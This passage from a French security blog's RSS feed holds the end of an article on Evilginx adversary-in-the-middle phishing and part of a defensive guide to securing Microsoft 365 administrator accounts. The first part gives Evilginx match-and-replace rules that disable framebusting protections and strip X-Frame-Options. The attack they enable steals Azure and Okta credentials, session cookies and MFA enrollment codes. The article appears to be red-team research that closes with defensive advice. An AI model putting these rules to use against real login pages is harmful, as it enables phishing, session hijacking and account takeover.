<p style="text-align: justify;">La technique de <em>framebuster</em> la plus simple consiste à vérifier si la frame actuelle est la frame principale (<em>top frame</em>), ce que Microsoft implémente. Si le formulaire d’authentification détecte qu’il n’est pas affiché dans la frame principale, il refuse de s’afficher.</p>
<p style="text-align: justify;">Avec Evilginx, il est possible de désactiver cette vérification à l’aide d’un simple modèle de correspondance et de remplacement (<em>match &amp; replace</em>) :</p>
<pre style="text-align: justify;">Replace: if(e.self===e.top){<br />By: if(true){window.oldself=e.self;e.self=e.top;</pre>
<p style="text-align: justify;">Cette modification permet de faire passer l’iframe pour la frame principale (<em>top frame</em>), contournant ainsi la protection.</p>
<h4> </h4>
<h4 style="text-align: justify;">Target=”_top”</h4>
<p style="text-align: justify;">La technique suivante consiste à forcer la soumission du formulaire à rediriger la <em>top frame</em>. Ainsi, si le formulaire est soumis dans une iframe, la redirection s’appliquera non seulement à cette iframe, mais à toute la page, ce qui casse l’effet “Browser-in-Browser”.</p>
<p style="text-align: justify;">Cela peut être réalisé en ajoutant l’attribut target= »_top » au formulaire. Il est ensuite possible de désactiver cette protection avec Evilginx :</p>
<pre style="text-align: justify;"><u>Replace:</u> method="post" target="_top"<br /><u>By:</u> method="post"</pre>
<h4> </h4>
<h4 style="text-align: justify;">Framework specific</h4>
<p style="text-align: justify;">Microsoft utilise un framework spécifique pour ses applications. Ce framework n’implémente pas à proprement parler de techniques de <em>framebusting</em>, mais son fonctionnement interne rend son intégration dans une iframe particulièrement complexe.</p>
<p style="text-align: justify;">Une des limitations principales apparaît au moment où le framework tente d’envoyer des données à une URL construite à partir du domaine de la <em>top frame</em>. Ainsi, au lieu d’envoyer les données à login.evilginx.com, elles sont envoyées à my-phishing-app.com, ce qui interrompt complètement le processus d’authentification.</p>
<p style="text-align: justify;">Pour modifier cette adresse, il n’est pas possible de simplement remplacer le domaine par celui du site de phishing comme cela a été fait précédemment. Il est nécessaire de comprendre le fonctionnement du framework afin de modifier manuellement cette valeur au niveau de l’élément racine :</p>
<pre style="text-align: justify;"><u>Replace:</u> autoSubmit: forceSubmit, attr: { action: postUrl }<br /><u>By:</u> autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}</pre>
<h4> </h4>
<h4 style="text-align: justify;">HTTP header</h4>
<p style="text-align: justify;">La dernière technique de <em>framebusting</em> repose sur l’en-tête HTTP X-Frame-Options: DENY, qui indique au navigateur que l’application ne peut pas être affichée dans une iframe.</p>
<p style="text-align: justify;">Il est possible de supprimer cet en-tête à l’aide d’Evilginx :</p>
<pre style="text-align: justify;"><u>Replace:</u> X-Frame-Options: DENY<br /><u>By:</u> Test: Test</pre>
<h4> </h4>
<h4 style="text-align: justify;">Final phishlet</h4>
<p style="text-align: justify;">The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:</p>
<ul style="text-align: justify;">
<li>Retrieve the Azure credentials</li>
<li>Retrieve the Azure cookies</li>
<li>Retrieve the Okta cookies</li>
<li>Retrieve the MFA enrollment QRCode for Okta</li>
</ul>
<p style="text-align: justify;">La vidéo suivante présente un exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure. Lors d’un seul et unique phishing, l’attaquant est capable de :</p>
<ul style="text-align: justify;">
<li>Récupérer les identifiants Azure</li>
<li>Récupérer les cookies de session Azure</li>
<li>Récupérer les cookies Okta</li>
<li>Récupérer le QR Code d’enrôlement MFA pour Okta</li>
</ul>
<p style="text-align: center;"> </p>
<div align="center"><iframe loading="lazy" title="Exemple d'attaque par phishing" src="https://www.youtube.com/embed/FHsZhNEIH64?si=OxsRrtlIpbkvgdJA" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<p style="text-align: center;"><em>Exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure</em></p>
<p> </p>
<p style="text-align: justify;">L’évolution des techniques de phishing, illustrée par des outils tels qu’Evilginx, révèle une transformation significative des menaces informatiques : il ne s’agit plus uniquement d’exfiltrer des identifiants, mais de détourner des sessions authentifiées dans leur intégralité. En adoptant une posture d’« homme du milieu » (<em>Adversary-in-the-Middle</em>, AiTM), Evilginx est en mesure d’intercepter et de manipuler les échanges entre l’utilisateur et les services légitimes, contournant ainsi les mécanismes traditionnels d’authentification multifacteur (MFA).</p>
<p style="text-align: justify;">Cette capacité ne constitue toutefois qu’un aperçu des possibilités offertes par l’outil. Evilginx peut être ajusté pour automatiser des actions critiques telles que l’enregistrement d’un dispositif MFA, contourner des protections comme les <em>framebusters</em> et garantir un accès persistant à la session utilisateur.</p>
<p style="text-align: justify;">La seule mesure réellement efficace pour réduire les attaques par phishing consiste à déployer des mécanismes d’authentification multifacteur résistants au phishing, tels que les clés FIDO, au minimum pour les comptes administrateurs.</p>




<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/">Phishing : Evilginx poussé à ses limites</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Comment maîtriser l’administration dans Microsoft 365 ?</title>
		<link>https://www.riskinsight-wavestone.com/2020/10/comment-maitriser-ladministration-dans-microsoft-365/</link>
		
		<dc:creator><![CDATA[GEneviEveLardon]]></dc:creator>
		<pubDate>Mon, 19 Oct 2020 13:00:26 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[administration]]></category>
		<category><![CDATA[authentification]]></category>
		<category><![CDATA[Azure AD]]></category>
		<category><![CDATA[MFA]]></category>
		<category><![CDATA[office]]></category>
		<category><![CDATA[Office 365]]></category>
		<category><![CDATA[PIM]]></category>
		<category><![CDATA[Workplace]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=14376</guid>

					<description><![CDATA[<p>Au sein de toute infrastructure ou application, les comptes à privilèges sont des comptes particulièrement sensibles. Leur sécurisation est un sujet clé. Cela est d’autant plus vrai pour les services SaaS, pour lesquels le modèle de responsabilité partagé impose à...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2020/10/comment-maitriser-ladministration-dans-microsoft-365/">Comment maîtriser l’administration dans Microsoft 365 ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Au sein de toute infrastructure ou application, les comptes à privilèges sont des comptes particulièrement sensibles. Leur sécurisation est un sujet clé. Cela est d’autant plus vrai pour les services SaaS, pour lesquels le modèle de responsabilité partagé impose à une organisation de protéger ses données et ses identités, et la suite Microsoft 365 ne déroge pas à la règle.</p>
<p style="text-align: justify;"><strong>D’ailleurs, s’il y a bien une chose que vous devez protéger, ce sont bien vos administrateurs&nbsp;!</strong></p>
<p style="text-align: justify;">Qu’elles concernent les méthodes d’authentification, les permissions des applications tierces via les API (en autorisant une application tierce à synchroniser des données avec un service de stockage externe par exemple) ou encore la <a href="https://www.theregister.com/2020/08/24/kpmg_microsoft_teams/">modification des politiques de rétention</a>, Une action d’administration peut considérablement affecter les données et la sécurité du tenant à plus large échelle. S’il est nécessaire d’expliciter encore ce point, un Administrateur général (ou <em>Global Administrator</em> en anglais) a la capacité d’accéder à l’ensemble des données ou de gérer tous les paramétrages d’Office 365, Windows 10, d’Azure AD… mais également d’Azure !</p>
<p>&nbsp;</p>
<h1>Quelles fonctionnalités natives dans la plateforme de Microsoft&nbsp;?</h1>
<h2>Quels modèles de droits au sein de Microsoft 365&nbsp;?</h2>
<p style="text-align: justify;">A ce jour, Microsoft 365 comporte deux niveaux de droits principaux. Ces deux niveaux permettent schématiquement de déléguer des droits d’administration en s’adaptant aux différents modèles d’organisations (petites / moyennes / grandes, centralisées / décentralisées)&nbsp;:</p>
<ul>
<li style="text-align: justify;">Rôles Azure AD&nbsp;: Administration des services&nbsp;Azure AD et Microsoft 365 ;</li>
<li style="text-align: justify;">Rôles RBAC&nbsp;: Administration des objets au sein des services.</li>
</ul>
<h4>Premier niveau : Utilisation des rôles Azure AD pour gérer les services</h4>
<p style="text-align: justify;">La personne à l’origine de l’ouverture du tenant récupère automatiquement le rôle d’Administrateur Général. Il peut alors nommer d’autres administrateurs pour l’accompagner dans ses tâches. Dans la mesure du possible, les droits de Global Admin ne doivent pas être utilisés afin de limiter une surexposition des comptes d’administration. Une bonne pratique, consiste à limiter ce rôle général à un maximum de 3-4 comptes. De plus, pour la quasi-totalité des actions, il existe un rôle d’administration de service équivalent (ex&nbsp;: SharePoint Administrator, User Administrator, etc.).</p>
<p style="text-align: justify;">Ces rôles d’administration de services sont également appelés <a href="https://docs.microsoft.com/fr-fr/microsoft-365/admin/add-users/azure-ad-roles-in-the-mac?view=o365-worldwide">rôles Azure AD</a>. En effet, chaque service peut être vu comme une application Azure AD. Un administrateur serait ainsi équivalent au propriétaire du service en question. A l’heure de l’écriture de cet article, Microsoft propose 59 rôles différents, ce qui permet d’avoir <strong>un bon niveau de ségrégation des droits</strong> dans la plupart des cas.</p>
<p style="text-align: justify;">Cependant, les rôles proposés par défaut donnent accès à l’intégralité du service administré pour l’ensemble du tenant et peut donner certains cas donner accès aux données sous-jacentes (notamment pour SharePoint Administrator, Exchange Administrator et User Administrator).</p>
<p>&nbsp;</p>
<figure id="post-14378 media-14378" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-14378 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image6.png" alt="" width="1668" height="1031" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image6.png 1668w, https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image6-309x191.png 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image6-63x39.png 63w, https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image6-768x475.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image6-1536x949.png 1536w" sizes="auto, (max-width: 1668px) 100vw, 1668px" /></figure>
<p style="text-align: center;">Figure 1 &#8211; Exemples de rôles sensibles</p>
<p>&nbsp;</p>
<p style="text-align: justify;">Dans le <strong>cas d’une maturité avancée, </strong>il est possible d’aller plus loin dans la ségrégation des droits en créant des <strong>rôles Azure AD personnalisés</strong>. Concrètement, cela revient à décider de quelles permissions bénéficie ce rôle (ex&nbsp;: «&nbsp;microsoft.directory/applications/create&nbsp;» permet de créer des applications dans Azure Active Directory).</p>
<p style="text-align: justify;">Le revers de la médaille sera qu’il sera plus compliqué d’auditer l’administration et qu’il sera nécessaire de veiller à l’évolution des services afin de s’assurer que les permissions restent cohérentes avec les besoins des administrateurs.</p>
<h4 style="text-align: justify;">Second niveau : Utilisation du modèle RBAC pour gérer les objets</h4>
<p style="text-align: justify;">Certains services tels que Exchange Online, Intune, les Centres de Securité et de Conformité ou encore Cloud App Security proposent des <a href="https://docs.microsoft.com/fr-fr/microsoft-365/security/office-365-security/permissions-microsoft-365-compliance-security?view=o365-worldwide">modèles de droits RBAC spécifiques</a>.</p>
<p style="text-align: justify;">Comme son nom l’indique, le <em>Role Based Access Control </em>(RBAC)<em>, </em>permet d’implémenter une gestion des permissions plus fine&nbsp;; avec la capacité de définir des rôles pour des périmètres définis (exemple sur certains groupes d’utilisateurs). Par exemple, il sera possible de créer «&nbsp;Helpdesk A&nbsp;» et «&nbsp;Helpdesk B&nbsp;» dans Exchange Online pour donner des droits de support à deux équipes distinctes sur un périmètre A et un périmètre B.</p>
<p>&nbsp;</p>
<h2>Comment provisionner les comptes d’administrations&nbsp;?</h2>
<p style="text-align: justify;">La première question est de savoir comment créer l’identité d’un administrateur. Deux stratégies sont possibles&nbsp;:</p>
<ul style="text-align: justify;">
<li>La <strong>création d’un compte dans le référentiel d’identité de l’organisation</strong>, qui sera ensuite synchronisé avec Azure AD (ex&nbsp;: wavestone.com)&nbsp;;</li>
<li>La <strong>création du compte directement dans Azure AD</strong>. Ce compte sera alors dit «&nbsp;cloud-only&nbsp;» (exemple&nbsp;: wavestone.onmicrosoft.com).</li>
</ul>
<p style="text-align: justify;">Quel que soit le rôle d’administration, il est recommandé pour un service SaaS comme Microsoft 365 que le <strong>compte se situe au plus près de la ressource administrée</strong>. Ici, cela revient à <strong>utiliser des comptes cloud-only</strong>. L’objectif est double : se prémunir d’une éventuelle indisponibilité ou d&rsquo;une compromission du référentiel d’identité de l’organisation.</p>
<p>&nbsp;</p>
<h2>Comment attribuer des permissions&nbsp;?</h2>
<p style="text-align: justify;">La deuxième question est de savoir comment attribuer les bons privilèges aux rôles d’administration créés.</p>
<h4>Dans le cas de l’administration des services</h4>
<p style="text-align: justify;">Afin d’attribuer un rôle AAD, il est possible d’utiliser 3 méthodes (via le portail ou la commande PowerShell correspondante) :</p>
<ul>
<li style="text-align: justify;"><strong>Le portail Azure </strong>(portal.azure.com) : c’est <strong>la méthode</strong> qui doit être privilégiée, car elle permet l’association de droits au plus près des ressources et l’utilisation de PIM, dont nous parlerons dans la suite de l’article&nbsp;;</li>
<li style="text-align: justify;"><strong>Le portail Microsoft 365 </strong>(admin.microsoft.com)&nbsp;: il est possible de réaliser l’attribution des rôles directement à travers le portail principal d’administration. Cependant cette méthode n’est pas compatible avec PIM ;</li>
<li style="text-align: justify;"><strong>L’utilisation d’outils IAM tiers</strong>: ces solutions présentent aujourd’hui des connecteurs avec Office 365 pour réaliser le provisioning des identités et des privilèges. Ces solutions offrent une granularité moindre, ne sont pas compatibles avec PIM et sont source d’erreurs courantes. Par exemple, la synchronisation est généralement en sens unique, ce qui entraîne la réapparition du compte d’administration si celui-ci n’est supprimé que dans Azure AD.</li>
</ul>
<p style="text-align: justify;">A noter, il est également désormais possible d’assigner un rôle Azure AD à un groupe de sécurité (Cloud uniquement) via <a href="https://docs.microsoft.com/fr-fr/azure/active-directory/users-groups-roles/roles-groups-concept">une fonctionnalité en preview</a>. Cela pourrait simplifier certains modèles d’administration, dans lesquels l’équipe Communications Unifiées doit par exemple bénéficier du rôle SharePoint Administrator et de Teams Administrator. Attention cependant à la gestion de ce groupe.</p>
<h4 style="text-align: justify;">Dans le cas de l’administration des objets</h4>
<p style="text-align: justify;">Pour les rôles RBAC, la définition des rôles se fait directement dans la plateforme d’administration du service concerné. Il est alors possible d’assigner le rôle en question manuellement ou à un groupe de sécurité, dans le portail ou via une solution IAM.</p>
<p>&nbsp;</p>
<figure id="post-14380 media-14380" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-14380 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image1.png" alt="" width="1447" height="824" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image1.png 1447w, https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image1-335x191.png 335w, https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image1-68x39.png 68w, https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image1-768x437.png 768w" sizes="auto, (max-width: 1447px) 100vw, 1447px" /></figure>
<p style="text-align: center;">Figure 2 &#8211; Fonctionnalités natives de la solution</p>
<p>&nbsp;</p>
<h1>Comment bâtir et implémenter son modèle d’administration ?</h1>
<h2>Quelle stratégie pour définir son modèle de droits&nbsp;?</h2>
<p style="text-align: justify;">La construction d’un modèle de délégation doit se faire sur le <strong>principe du moindre privilège</strong>. Le cœur du travail est faire l’inventaire des cas d’usages d’administration d’Office 365 et de faire la <strong>correspondance entre vos équipes et les droits disponibles</strong>.</p>
<p style="text-align: justify;">Cela peut être l’occasion de remettre à plat l’organisation des équipes traitant de l’environnement de travail. Deux constats sont assez significatifs&nbsp;:</p>
<ul>
<li style="text-align: justify;">Les terminaux mobiles et les postes de travail sont destinés à être gérés par des solutions unifiées (UEM) comme Intune, Workspace One ou MobileIron, et donc par la même équipe.</li>
<li style="text-align: justify;">Les outils de sécurité et de conformité sont de plus en plus intégrés nativement dans Office 365. Il est donc nécessaire de faire tomber le mur qui existait entre le monde <em>workplace</em> et le monde sécurité, afin de créer une équipe ayant la même ambition&nbsp;: créer et maintenir une plateforme maîtrisée et sécurisée.</li>
</ul>
<p style="text-align: justify;">Office 365 a pour particularité de rassembler une multitude de services différents, tels que le stockage de fichier ou d’informations (SharePoint, OneDrive), des outils de communication (Exchange, Teams) mais aussi de sécurité (Defender, Information Protection, etc.). Il est alors indispensable de regrouper les services en catégorie et de définir une <strong>matrice de correspondance</strong> entre équipe et rôles d’administration.</p>
<p style="text-align: justify;">Concrètement, nous vous conseillons dans un premier temps d’<strong>utiliser les rôles Azure AD par défaut pour l’administration des services, et ensuite de définir des rôles plus granulaires </strong>avec RBAC et les rôles personnalisés.</p>
<p style="text-align: justify;">Il est également intéressant <strong>d’identifier</strong> <strong>les rôles les plus sensibles</strong>, comme ceux permettant l’accès aux données ou paramètres de sécurité (par exemple : Global Admin, Exchange Admin, Security Administrator et Application Administration) afin de pouvoir adapter la sécurisation de ces rôles.</p>
<p>&nbsp;</p>
<h2>Comment déléguer des droits d’administration sur les objets dans un contexte multi-entité&nbsp;?</h2>
<p style="text-align: justify;">Avant de parler sécurisation à proprement parler, se pose encore une autre question. Bien que <strong>la configuration des services et des paramètres de sécurité ne puisse se faire que centralement, les équipes locales ont besoin de faire actions de support</strong>&nbsp;: création ou modification d’un compte interne ou invité, réinitialisation des authentifiants, création de groupe Microsoft 365 ou d’une liste de distribution, etc.</p>
<p style="text-align: justify;">Les rôles d’administration de services, les rôles Azure AD, n’offrent <strong>pas de ségrégation de privilège par périmètre</strong>&nbsp;; un administrateur Exchange Online sera ainsi en mesure de manipuler l’ensemble des boîtes mails. Il ne sera pas envisageable de donner des dans des organisations complexes ou encore dans des contextes réglementés. Plusieurs stratégies sont disponibles, en fonction de la maturité et de la complexité de l’organisation.</p>
<p style="text-align: justify;">Dans le cas de petites structures, le plus simple reste d’utiliser les fonctionnalités natives&nbsp;:</p>
<ul style="text-align: justify;">
<li><strong>Rôles RBAC</strong>: les rôles RBAC Exchange et Intune permettent généralement d’avoir le bon niveau de granularité pour gérer les objets&nbsp;dans les portails natifs ;</li>
<li><strong><em>Administrative Units</em></strong>: les Unités administratives, <a href="https://docs.microsoft.com/fr-fr/azure/active-directory/users-groups-roles/directory-administrative-units">enfin en GA</a> depuis fin Septembre, sont l’équivalent du RBAC pour Azure Active Directory. Elles prennent la forme de conteneurs dans lesquels un administrateur a la possibilité de créer ou de modifier des objets, ce qui trouve tout son sens pour les activités de support.</li>
</ul>
<p style="text-align: justify;">Dans le cas de structures plus importantes, la bonne pratique est de ne pas gérer les objets (utilisateurs, boites mail, groupes, sites SharePoint, etc.) directement dans les portails natifs. Il faut une <strong>interface permettant de gérer l’ensemble de ces objets, tout en tenant compte des logiques métiers et du modèle d’administration cible</strong>. Ci-dessous, trois exemples d’interface&nbsp;:</p>
<ul>
<li style="text-align: justify;"><strong>Développement maison d’un «&nbsp;Custom Automation Engine</strong>»&nbsp;: cette interface sera décorrélée de de l’IAM et bien souvent une grosse machine à powershell&nbsp;/ Graph API ;</li>
<li style="text-align: justify;"><strong>Intégration d’un connecteur à la solution IAM</strong> en vigueur afin de présenter une gestion complète des objets en faisant abstraction de leur hébergement direct&nbsp;;</li>
<li style="text-align: justify;"><strong>Investissement dans une SaaS Management Plateform</strong><strong>(SMP)</strong> : des éditeurs se sont spécialisés dans la création d’outil de gestion d’Office 365, mêlant fonctionnalités d’administration des objets, de gestion de licences ou encore de supervision sécurité et opérationnelle. Parmi ces solutions, encore peu connues, on retrouve notamment ManageEngine, CoreView et Quadrotech.</li>
</ul>
<p style="text-align: justify;">A noter&nbsp;: cette interface, dédiée aux équipes de supports, sera distincte d’une interface ouverte à tous les utilisateurs leurs permettant de créer centralement des utilisateurs invités, et des sites SharePoint, des Teams, etc. Concrètement, cette deuxième interface pourra être intégré aux outils de ITSM, à la SMP ou encore être développée à base de Power Apps et de Graph API.</p>
<p>&nbsp;</p>
<h1>Comment protéger l’accès à ces comptes</h1>
<h2>10 mesures pour sécuriser les comptes d’administrations</h2>
<p style="text-align: justify;">En fonction des licences de sécurité, principalement du bundle EMS, Microsoft fournit un certain nombre de contrôles pour sécuriser les comptes d’administration.</p>
<p style="text-align: justify;">La plupart de ces mesures pourraient également être obtenues via des outils tierces.</p>
<h3 style="text-align: justify;">Les mesures basiques de la sécurisation du compte d’administration</h3>
<ol>
<li style="text-align: justify;"><strong>Un compte d’administrateur dédié</strong></li>
</ol>
<p style="text-align: justify;">Un administrateur doit posséder un compte dédié à l’administration, différent du compte bureautique. Ce compte devrait être cloud-only dans la mesure du possible (ex : wavestone.onmicrosoft.com).</p>
<ol style="text-align: justify;" start="2">
<li><strong>Authentification Multi-Facteur </strong></li>
</ol>
<p style="text-align: justify;">L’authentification à plusieurs facteurs n’est plus une option aujourd’hui, et ce encore moins pour les administrateurs.</p>
<p style="text-align: justify;">Cette mesure est disponible pour tous, pour toutes les licences&nbsp;:</p>
<ul style="text-align: justify;">
<li>Via MFA pour Office 365 (également appelé MFA avec héritage par personne) qui force un challenge à chaque connexion ;</li>
<li>Via les Security Defaults qui impose l’enregistrement d’un facteur additionnel pour tous les utilisateurs et impose le MFA pour les administrateurs à chaque connexion ;</li>
</ul>
<p style="text-align: justify;">Il est également important également de veiller à la <a href="https://docs.microsoft.com/fr-fr/azure/active-directory/conditional-access/block-legacy-authentication">désactivation des protocoles d’authentification héritée</a> qui ne prennent pas en charge le MFA. Ces derniers permettraient en effet de passer outre l’authentification simple.</p>
<p style="text-align: justify;">Il sera également pertinent de limiter les types de facteurs supplémentaires&nbsp;disponibles ; à quoi bon sécuriser les comptes d’administration si le second facteur est l’adresse Gmail de l’administrateur.</p>
<h3>Des mesures de sécurisations fortement recommandées</h3>
<ol style="text-align: justify;" start="3">
<li><strong>Compte sans licence Office 365&nbsp;</strong></li>
</ol>
<p style="text-align: justify;">Sans licence, il se sera pas possible pour un administrateur d’accéder aux différents services et données de la plateforme, ou encore d’avoir une boite mail.</p>
<p style="text-align: justify;">A noter, certains services, comme Power Apps ou Power BI, requièrent une licence pour accéder au portail d’administration. En pratique, il peut être intéressant de créer un groupe de sécurité attribuant les licences nécessaires pour les administrateurs.</p>
<ol style="text-align: justify;" start="4">
<li><strong>Conditional Access&nbsp;(avec Azure AD P1)</strong></li>
</ol>
<p style="text-align: justify;"><a href="https://docs.microsoft.com/fr-fr/azure/active-directory/conditional-access/overview">L’accès conditionnel</a> permet d’évaluer le contexte lors de l’accès à un service Office 365, et d’autoriser en fonction l’accès. Il permet par exemple de bloquer l’accès en fonction du type de poste utilisé (géré par l’entreprise ou non), du réseau sur lequel l’utilisateur est connecté, de l’application en question ou encore de son rôle d’administration.</p>
<p style="text-align: justify;">Dans une logique Zero Trust, il ne faudrait pas différencier le réseau interne et le réseau externe, en particulier pour les administrateurs, mais plutôt se concentrer sur l’état du poste de travail et le risque de la connexion.</p>
<ol style="text-align: justify;" start="5">
<li><strong>Protection de mot de passe&nbsp;(avec Azure AD P1)</strong></li>
</ol>
<p style="text-align: justify;"><a href="https://docs.microsoft.com/fr-fr/azure/active-directory/authentication/concept-password-ban-bad-on-premises">Aure AD Password Protection</a> apporte des contrôles sur les mots de passe. Il sera ainsi possible d’interdire l’utilisation d’un mot de passe courant ou d’un dérivé (avec une liste prédéfinie par Microsoft ou maintenue par l’organisation).</p>
<p style="text-align: justify;">Une bonne pratique consiste à appliquer à minima cette protection sur l’ensemble des comptes d’administration Cloud-only.</p>
<ol style="text-align: justify;" start="6">
<li><strong>Azure AD Identity Protection (avec Azure AD P2)</strong></li>
</ol>
<p style="text-align: justify;"><a href="https://docs.microsoft.com/fr-fr/azure/active-directory/identity-protection/overview-identity-protection">Azure AD Identity Protection</a> permet d’ajouter une notion de risque dans l’évaluation des accès et des comportements des utilisateurs. Concrètement, il sera opportun des définir les politiques suivantes&nbsp;;</p>
<ul style="text-align: justify;">
<li>Risky users&nbsp;: Forcer le changement de mot de passe pour un administrateur susceptible d’être compromis (avec un risque Medium ou High)&nbsp;;</li>
<li>Risky sign-in&nbsp;: Forcer un challenge MFA lors d’un accès à risque (ex&nbsp;: IP anonyme ou inhabituelle).</li>
</ul>
<ol style="text-align: justify;" start="7">
<li><strong>Azure AD Privileged Identity Management (avec Azure AD P2): </strong></li>
</ol>
<p style="text-align: justify;"><a href="https://docs.microsoft.com/fr-fr/azure/active-directory/privileged-identity-management/">Azure AD Privileged Identity Management</a> est un service permettant de contrôler l’attribution et l’utilisation des rôles d’administration&nbsp;:</p>
<ul style="text-align: justify;">
<li>Attribuer de droits «&nbsp;just-in-time&nbsp;» en donnant un rôle éligible au lieu de permanent&nbsp;;</li>
<li>Soumettre l’activation d’un rôle à une validation d’une tierce partie&nbsp;;</li>
<li>Mettre en place une date de fin de droit pour un rôle d’administration&nbsp;;</li>
<li>Forcer les recertifications des administrateurs.</li>
</ul>
<p style="text-align: justify;">Il sera pertinent de distinguer les rôles dits sensibles des autres, lors de l’implémentation.</p>
<p style="text-align: justify;">Le suivi des administrateurs éligibles permet en bonus, de prendre conscience de l’utilisation réelle des droits d’administration et donc de nettoyer plus facilement la liste des administrateurs.</p>
<p style="text-align: justify;">A noter, les fonctionnalités de PIM ont récemment été <a href="https://docs.microsoft.com/en-us/azure/active-directory/privileged-identity-management/groups-features">étendus aux différents groupes</a>, ce qui permet de mettre en place du «&nbsp;Just-in-time&nbsp;» pour <a href="https://techcommunity.microsoft.com/t5/microsoft-security-and/using-azure-pim-for-the-aip-super-user-feature-management/ba-p/1587690">des cas plus exotiques comme les Super-Users RMS / AIP</a>.</p>
<h3 style="text-align: justify;">Pour aller encore plus loin</h3>
<ol style="text-align: justify;" start="8">
<li><strong>Supervision des action administrateurs pour détecter les comportements anormaux</strong></li>
</ol>
<p style="text-align: justify;">Une fois toutes ces mesures de sécurisation en place, il ne vous reste plus qu’à implémenter de la supervision afin de détecter les non-conformités aux règles précédentes et les comportements anormaux.</p>
<p style="text-align: justify;">Et pour cela, rien de mieux que de se référer à <a href="https://www.riskinsight-wavestone.com/2020/03/journalisation-doffice-365-un-cas-concret-avec-les-administrateurs/">notre article</a> sur le sujet pour comprendre les journaux disponibles.</p>
<ol style="text-align: justify;" start="9">
<li><strong>Mettre en place une Privileged Access Workstation</strong></li>
</ol>
<p style="text-align: justify;">L’administration étant une action par définition critique. Il est nécessaire qu’elle soit réalisée dans un périmètre de confiance. La mise à disposition de <a href="https://docs.microsoft.com/fr-fr/windows-server/identity/securing-privileged-access/privileged-access-workstations">PAW, ou poste d’administration</a>, permettra d’aller dans cet objectif.</p>
<p style="text-align: justify;">La configuration du poste d’administration devrait être simple (pas de droits d’administration local, navigation Internet restreinte, ports USB bloqués, modules PowerShell préinstallés, etc.). Mais le fait de restreindre la connexion d’un administrateur Office 365 depuis ce poste peut poser plus de soucis. Pour cela, plusieurs possibilités existent&nbsp;:</p>
<ul style="text-align: justify;">
<li>Dans un contexte moderne, une réponse simple est de s’appuyer sur les outils Microsoft : définir un profil de poste d’administration dans Intune et l’assigner aux administrateurs. Avec une règle d’accès conditionnel, il est possible d’exiger un poste conforme lors de la connexion.</li>
<li>Dans un modèle plus classique, il est possible de mettre en place un <a href="https://docs.microsoft.com/fr-fr/windows-server/security/credentials-protection-and-management/authentication-policies-and-authentication-policy-silos">silo d’authentification</a> avec les administrateurs et les postes associés. On aurait ainsi un modèle se rapprochant du modèle en tiers bien connu des équipes AD.</li>
<li>D’autre pistes sont également possibles, même si plus complexes : association d’un certificat et d’un reverse proxy ou encore d’un bastion.</li>
</ul>
<ol style="text-align: justify;" start="10">
<li><strong>Rester informé des bonnes pratiques et des nouveautés</strong></li>
</ol>
<p style="text-align: justify;">On ne rappellera jamais assez qu’Office 365 étant une plateforme Cloud, elle est en évolution constante. Se tenir au courant permettra de continuer à augmenter son niveau de sécurisation au fil du temps.</p>
<figure id="post-14382 media-14382" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-14382 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image2.png" alt="" width="1875" height="785" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image2.png 1875w, https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image2-437x183.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image2-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image2-768x322.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2020/10/Image2-1536x643.png 1536w" sizes="auto, (max-width: 1875px) 100vw, 1875px" /></figure>
<p style="text-align: center;">Figure 3 &#8211; La sécurisation des comptes, des mesures qui se comptent sur les doigts de la main</p>
<h2 style="text-align: justify;">Focus sur les comptes bris de glace</h2>
<p style="text-align: justify;">Une bonne pratique d’administration de la plateforme de Microsoft est la mise en place de comptes d’administrateur permettent en cas d’incident de récupérer le contrôle sur la plateforme.&nbsp; Ce sont ce que l’on appelle des comptes bris de glace. Ces comptes doivent permettent un total contrôle sur le tenant Office 365 et le rôle de Global Administrator leur est donc attribué.</p>
<p style="text-align: justify;">Ces comptes doivent faire preuve d’une sécurisation, cependant il ne faut pas oublier leur spécificité qui consiste à les utiliser en cas d’incident. Ainsi <strong>la sécurisation imposée à ces comptes doit rester compatible avec le caractère urgent de leur utilisation</strong>.&nbsp; Ces comptes doivent donc répondre aux recommandations suivantes&nbsp;:</p>
<ul style="text-align: justify;">
<li>Être des comptes cloud-only</li>
